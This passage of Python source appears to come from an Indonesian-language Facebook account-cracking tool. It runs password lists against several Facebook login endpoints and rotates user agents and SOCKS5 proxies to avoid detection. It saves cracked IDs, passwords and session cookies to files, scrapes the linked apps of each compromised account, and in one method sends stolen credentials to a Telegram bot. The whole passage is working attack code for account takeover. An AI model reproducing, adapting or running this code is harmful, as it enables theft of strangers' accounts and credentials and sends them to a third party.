  708.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  709.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  710.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  711.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  712.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  713.             if "checkpoint" in po.cookies.get_dict().keys():
  714.                 print(f'{P}')
  715.                 print(f'\r Email  : {kk}{idf}{P}          \n Sandi  : {kk}{pw}          {P}\n Ugent  : {M}{ua}{P}           \n')
  716.                 requests.post(f"https://api.telegram.org/bot{toxku}/sendMessage?chat_id={idku}&text=STOR BANG CP\n{idf}|{pw}").json()
  717.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  718.                 akun.append(idf+'|'+pw)
  719.                 cp+=1
  720.                 break
  721.             elif "c_user" in ses.cookies.get_dict().keys():
  722.                 headapp={"user-agent":"SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]"}
  723.                 if 'no' in taplikasi:
  724.                     ok+=1
  725.                     coki=po.cookies.get_dict()
  726.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  727.                     print(f'\r Email  : {hh}{idf}{P}          \n Sandi  : {hh}{pw}          {P}\n Cookies : {hh}{kuki}{P}\n Ugent  : {M}{ua}')
  728.                     requests.post(f"https://api.telegram.org/bot{toxku}/sendMessage?chat_id={idku}&text=BANG LU GG NIH GW SETOR AKUN GW\nID : {idf}\nPASS : {pw}").json()
  729.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  730.                     break
  731.                 elif 'ya' in taplikasi:
  732.                     coki=po.cookies.get_dict()
  733.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  734.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  735.                     user=idf
  736.                     infoakun = ""
  737.                     session = requests.Session()
  738.                     cek2 = session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies=coki,headers=headapp).text
  739.                     cek =session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies=coki,headers=headapp).text
  740.                     apkaktif=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek))
  741.                     nok=1
  742.                     for muncul in apkaktif:
  743.                         infoakun+= (f"  {x}[{h}{nok}{x}] {b}{muncul[0]} {muncul[1]}{x}\n")
  744.                         nok+=1
  745.  
  746.                     hit=0
  747.                     apkexp=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek2))
  748.                     hit=0
  749.                     for muncul in apkexp:
  750.                         hit+=1
  751.                         infoakun += (f" {x}[{k}{hit}{x}] {m}{muncul[0]} {muncul[1]}{x}\n")
  752.                     print(f'\r{x} {H}{idf}|{pw}|{kuki}\n{infoakun}{x}')
  753.                     requests.post(f"https://api.telegram.org/bot{toxku}/sendMessage?chat_id={idku}&text=STOR BANG\n{idf}|{pw}").json()
  754.                     ok+=1
  755.                     break
  756.  
  757.             else:
  758.                 continue
  759.         except requests.exceptions.ConnectionError:
  760.             time.sleep(1)
  761.     loop+=1
  762. #------------------[ METHODE-MBASIC-2 ]-------------------#
  763. def crackfree(idf,pwv):
  764.     global loop,ok,cp
  765.     sys.stdout.write(f"\r💐 {P}[{bo}Mbasic{P}]{P}[{b}{loop}{P}/{p}{len(id)}{P}]—{P}[{H}{ok}{P}]—{P}[{k}{cp}{x}]—[{m}{'{:.0%}'.format(loop/float(len(id)))}{P}]  "),
  766.     sys.stdout.flush()
  767.     ua = random.choice(ugen)
  768.     ua2 = random.choice(ugen2)
  769.     ses = requests.Session()
  770.     for pw in pwv:
  771.         try:
  772.             ses.headers.update({'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua2,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  773.             p = ses.get('https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  774.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://free.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
  775.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  776.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  777.             heade={'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://free.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'ms-MY,ms;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  778.             po = ses.post('https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  779.             if "checkpoint" in po.cookies.get_dict().keys():
  780.                 print(f'\r{x}——>{k} {idf}|{pw}{N}')    
  781.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  782.                 ####os.popen('play-audio .cp.mp3')
  783.                 akun.append(idf+'|'+pw)
  784.                 cp+=1
  785.                 break
  786.             elif "c_user" in ses.cookies.get_dict().keys():
  787.                 headapp={"user-agent":"SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]"}
  788.                 coki=po.cookies.get_dict()
  789.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  790.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'|'+ua+'\n')
  791.                 user=idf
  792.                 infoakun = ""
  793.                 session = requests.Session()
  794.                 cek2 = session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies=coki,headers=headapp).text
  795.                 cek =session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies=coki,headers=headapp).text
  796.                 apkaktif=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek))
  797.                 nok=1
  798.                 for muncul in apkaktif:
  799.                     infoakun+= (f"  {x}[{h}{nok}{x}] {b}{muncul[0]} {muncul[1]}{x}\n")
  800.                     nok+=1
  801.  
  802.                 hit=0
  803.                 apkexp=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek2))
  804.                 hit=0
  805.                 for muncul in apkexp:
  806.                     hit+=1
  807.                     infoakun += (f" {x}[{k}{hit}{x}] {m}{muncul[0]} {muncul[1]}{x}\n")
  808.                 print(f'\r{x}——> {H}{idf}|{pw}|{kuki}\n{ua}\n{infoakun}{x}')
  809.                 ####os.popen('play-audio .ok.mp3')
  810.                 ok+=1
  811.                 break
  812.  
  813.             else:
  814.                 continue
  815.         except requests.exceptions.ConnectionError:
  816.             time.sleep(1)
  817.     loop+=1
  818.  
  819. #           if "checkpoint" in po.cookies.get_dict().keys():
  820. #               print(f'\r{K}>> {idf}|{pw}{N}')    
  821. #               os.popen('play-audio .cp.mp3')
  822. #               open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  823. #               akun.append(idf+'|'+pw)
  824. #               cp+=1
  825. #               break
  826. #           elif "c_user" in ses.cookies.get_dict().keys():
  827. #               ok+=1
  828. #               coki=po.cookies.get_dict()
  829. #               kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  830. #               print(f'\r{H}>> {idf}|{pw}|{kuki}{N}')
  831. #               os.popen('play-audio .ok.mp3')
  832. #               open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
  833. #               cek_apk(session,coki)
  834. #               break
  835. #              
  836. #           else:
  837. #               continue
  838. #       except requests.exceptions.ConnectionError:
  839. #           time.sleep(31)
  840. #   loop+=1
  841.  
  842. #---------------------[ METHODE-TOUCH-3 ]---------------------#
  843. def cracktouch(idf,pwv):
  844.     global loop,ok,cp
  845.     bi = random.choice([u,k,kk,b,h,hh])
  846.     pers = loop*100/len(id2)
  847.     fff = '%'
  848.     nip=random.choice(prox)
  849.     proxs= {'http': 'socks5://'+nip}
  850.     ua = random.choice(ugen)
  851.     ua2 = random.choice(ugen2)
  852.     ses = requests.Session()
  853.     sys.stdout.write('\r%s ☬ %s/%s ☬ OK:%s ☬ CP:%s ☬ %s%s%s ☬'%(bi,loop,len(id2),ok,cp,int(pers),str(fff),x));sys.stdout.flush()
  854.     for pw in pwv:
  855.         try:
  856.             ses.headers.update({'Host': 'touch.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  857.             p = ses.get('https://touch.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  858.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://touch.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
  859.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  860.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  861.             heade={'Host': 'touch.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://touch.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://touch.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'fr_FR,fr;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  862.             po = ses.post('https://touch.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  863.             if "checkpoint" in po.cookies.get_dict().keys():
  864.                 if 'ya' in oprek:
  865.                     akun.append(idf+'|'+pw)
  866.                     ceker(idf,pw)
  867.                 elif 'ya' in princp:
  868.                     print('\n')
  869.                     statuscp = f'[•] ID       : {idf} [•] PASSWORD : {pw}'
  870.                     statuscp1 = nel(statuscp, style='red')
  871.                     cetak(nel(statuscp1, title='AOREC-XD CP'))
  872.                     open('/sdcard/4MBF-DATA/CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  873.                     akun.append(idf+'|'+pw)
  874.                     cp+=1
  875.                 else:continue
  876.                 break
  877.             elif "c_user" in ses.cookies.get_dict().keys():
  878.                 headapp={"user-agent":"SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]"}
  879.                 if 'no' in taplikasi:
  880.                     coki=po.cookies.get_dict()
  881.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  882.                     open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  883.                     print('\n')
  884.                     statusok = f'[•] ID       : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES  : {kuki}'
  885.                     statusok1 = nel(statusok, style='green')
  886.                     cetak(nel(statusok1, title='AOREC-XD OK'))
  887.                     ok+=1
  888.                     break
  889.                 elif 'ya' in taplikasi:
  890.                     coki=po.cookies.get_dict()
  891.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  892.                     open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  893.                     user=idf
  894.                     infoakun = ""
  895.                     session = requests.Session()
  896.                     cek2 = session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies=coki,headers=headapp).text
  897.                     cek =session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies=coki,headers=headapp).text
  898.                     infoakun += (f"\n[bold cyan][•] LIST ACTIVE APPLICATIONS :[/bold cyan] \n")
  899.                     apkaktif=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek))
  900.                     nok=1
  901.                     for muncul in apkaktif:
  902.                         infoakun+= (f"[bold cyan][{nok}] {muncul[0]} {muncul[1]}[/bold cyan]\n")
  903.                         nok+=1
  904.  
  905.                     hit=0
  906.                     infoakun += (f"\n[bold yellow][•] LIST EXPIRED APPLICATIONS :[/bold yellow]\n")
  907.                     apkexp=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek2))
  908.                     hit=0
  909.                     for muncul in apkexp:
  910.                         hit+=1
  911.                         infoakun += (f"[bold yellow][{hit}] {muncul[0]} {muncul[1]}[/bold yellow]\n")
  912.                     print('\n')
  913.                     statusok = f'[bold green][•] ID       : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES  : {kuki}[/bold green]\n{infoakun}'
  914.                     statusok1 = nel(statusok, style='green')
  915.                     cetak(nel(statusok1, title='[bold green]AOREC-XD OK[/bold green]'))
  916.                     ok+=1
  917.                     break
  918.  
  919.  
  920.             else:
  921.                 continue
  922.         except requests.exceptions.ConnectionError:
  923.             time.sleep(31)
  924.     loop+=1
  925. #----------------------[ METHODE-MTOUCH+MOBILE-4 ]-----------------#
  926. def crackmbasic(idf,pwv):
  927.     global loop,ok,cp
  928.     bi = random.choice([u,k,kk,b,h,hh])
  929.     pers = loop*100/len(id2)
  930.     fff = '%'
  931.     nip=random.choice(prox)
  932.     proxs= {'http': 'socks5://'+nip}
  933.     ua = random.choice(ugen)
  934.     ua2 = random.choice(ugen2)
  935.     ses = requests.Session()
  936.     sys.stdout.write('\r%s ☬ %s/%s ☬ OK:%s ☬ CP:%s ☬ %s%s%s ☬'%(bi,loop,len(id2),ok,cp,int(pers),str(fff),x));sys.stdout.flush()
  937.     for pw in pwv:
  938.         try:
  939.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  940.             p = ses.get('https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  941.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://mbasic.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
  942.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  943.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  944.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://mbasic.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'fr_FR,fr;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  945.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  946.             if "checkpoint" in po.cookies.get_dict().keys():
  947.                 if 'ya' in oprek:
  948.                     akun.append(idf+'|'+pw)
  949.                     ceker(idf,pw)
  950.                 elif 'ya' in princp:
  951.                     print('\n')
  952.                     statuscp = f'[•] ID       : {idf} [•] PASSWORD : {pw}'
  953.                     statuscp1 = nel(statuscp, style='red')
  954.                     cetak(nel(statuscp1, title='AOREC-XD CP'))
  955.                     open('/sdcard/4MBF-DATA/CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  956.                     akun.append(idf+'|'+pw)
  957.                     cp+=1
  958.                 else:continue
  959.                 break
  960.             elif "c_user" in ses.cookies.get_dict().keys():
  961.                 headapp={"user-agent":"SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]"}
  962.                 if 'no' in taplikasi:
  963.                     coki=po.cookies.get_dict()
  964.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  965.                     open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  966.                     print('\n')
  967.                     statusok = f'[•] ID       : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES  : {kuki}'
  968.                     statusok1 = nel(statusok, style='green')
  969.                     cetak(nel(statusok1, title='OK'))
  970.                     ok+=1
  971.                     break
  972.                 elif 'ya' in taplikasi:
  973.                     coki=po.cookies.get_dict()
  974.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  975.                     open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  976.                     user=idf
  977.                     infoakun = ""
  978.                     session = requests.Session()
  979.                     cek2 = session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies=coki,headers=headapp).text
  980.                     cek =session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies=coki,headers=headapp).text
  981.                     infoakun += (f"\n[bold cyan][•] LIST ACTIVE APPLICATIONS :[/bold cyan] \n")
  982.                     apkaktif=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek))
  983.                     nok=1
  984.                     for muncul in apkaktif:
  985.                         infoakun+= (f"[bold cyan][{nok}] {muncul[0]} {muncul[1]}[/bold cyan]\n")
  986.                         nok+=1
  987.  
  988.                     hit=0
  989.                     infoakun += (f"\n[bold yellow][•] LIST EXPIRED APPLICATIONS :[/bold yellow]\n")
  990.                     apkexp=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek2))
  991.                     hit=0
  992.                     for muncul in apkexp:
  993.                         hit+=1
  994.                         infoakun += (f"[bold yellow][{hit}] {muncul[0]} {muncul[1]}[/bold yellow]\n")
  995.                     print('\n')
  996.                     statusok = f'[bold green][•] ID       : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES  : {kuki}[/bold green]\n{infoakun}'
  997.                     statusok1 = nel(statusok, style='green')
  998.                     cetak(nel(statusok1, title='[bold green]AOREC-XD OK[/bold green]'))
  999.                     ok+=1
  1000.                     break
  1001.             else:
  1002.                 continue
  1003.         except requests.exceptions.ConnectionError:
  1004.             time.sleep(31)
  1005.     loop+=1
  1006. #--------------------[ CHECK-OPSI-CHEKPOINT ]-------------------#
  1007. def ceker(idf,pw):
  1008.     global cp
  1009.     ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.128 Safari/537.36 FBMF/HUAWEI;FBBD/HUAWEI;FBPN/com.facebook.services;FBDV/EVR-L29;FBSV/10;FBLR/0;FBBK/1;FBCA/arm64-v8a:;]'
  1010.     head = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
  1011.     ses = requests.Session()
  1012.     try:
  1013.         hi = ses.get('https://mbasic.facebook.com')
  1014.         ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':idf,'pass':pw,'login':'submit'}, headers=head, allow_redirects=True).text,'html.parser')
  1015.         jo = ho.find('form')
  1016.         data = {}
  1017.         lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
  1018.         for anj in jo('input'):
  1019.             if anj.get('name') in lion:
  1020.                 data.update({anj.get('name'):anj.get('value')})
  1021.         kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=head).text,'html.parser')
  1022.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  1023.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1024.         cp+=1
  1025.         opsi = kent.find_all('option')
  1026.         if len(opsi)==0:
  1027.             print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
  1028.         else:
  1029.             for opsii in opsi:
  1030.                 print('\r%s---> %s%s'%(kk,opsii.text,x))
  1031.     except Exception as c:
  1032.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  1033.         print('\r%s---> Tidak Dapat Mengecek Opsi (Cek Login Di Lite/Mbasic)%s'%(u,x))
  1034.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1035.         cp+=1
  1036. #--------------------------[ CHECK-OPSI-CHEKPOINT-2 ]----------------#
  1037. def cek_opsi():
  1038.     c = len(akun)
  1039.     hu = 'Terdapat %s Akun Untuk Dicek\nSebelum Mulai, Mode Pesawat/Ubah Kartu Sim Terlebih Dahulu'%(c)
  1040.     cetak(nel(hu, title='CEK OPSI'))
  1041.     input(x+'['+h+'•'+x+'] Mulai')
  1042.     cek = '# PROSES CEK OPSI DIMULAI'
  1043.     sol().print(mark(cek, style='green'))
  1044.     love = 0
  1045.     for kes in akun:
  1046.         try:
  1047.             try:
  1048.                 id,pw = kes.split('|')[0],kes.split('|')[1]
  1049.             except IndexError:
  1050.                 time.sleep(2)
  1051.                 print('\r%s++++ %s ----> Error      %s'%(b,kes,x))
  1052.                 print('\r%s---> Pemisah Tidak Didukung Untuk Program Ini%s'%(u,x))
  1053.                 continue
  1054.             bi = random.choice([u,k,kk,b,h,hh])
  1055.             print('\r%s---> %s/%s ---> { %s }%s'%(bi,love,len(akun),id,x), end=' ');sys.stdout.flush()
  1056.             ua = 'Mozilla/5.0 (Linux; Android 11; TECNO KD8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4755.101 Mobile Safari/537.36'
  1057.             ses = requests.Session()
  1058.             header = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
  1059.             hi = ses.get('https://mbasic.facebook.com')
  1060.             ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':id,'pass':pw,'login':'submit'}, headers=header, allow_redirects=True).text,'html.parser')
  1061.             if "checkpoint" in ses.cookies.get_dict().keys():
  1062.                 try:
  1063.                     jo = ho.find('form')
  1064.                     data = {}
  1065.                     lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
  1066.                     for anj in jo('input'):
  1067.                         if anj.get('name') in lion:
  1068.                             data.update({anj.get('name'):anj.get('value')})
  1069.                     kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=header).text,'html.parser')
  1070.                     print('\r%s++++ %s|%s ----> CP       %s'%(b,id,pw,x))
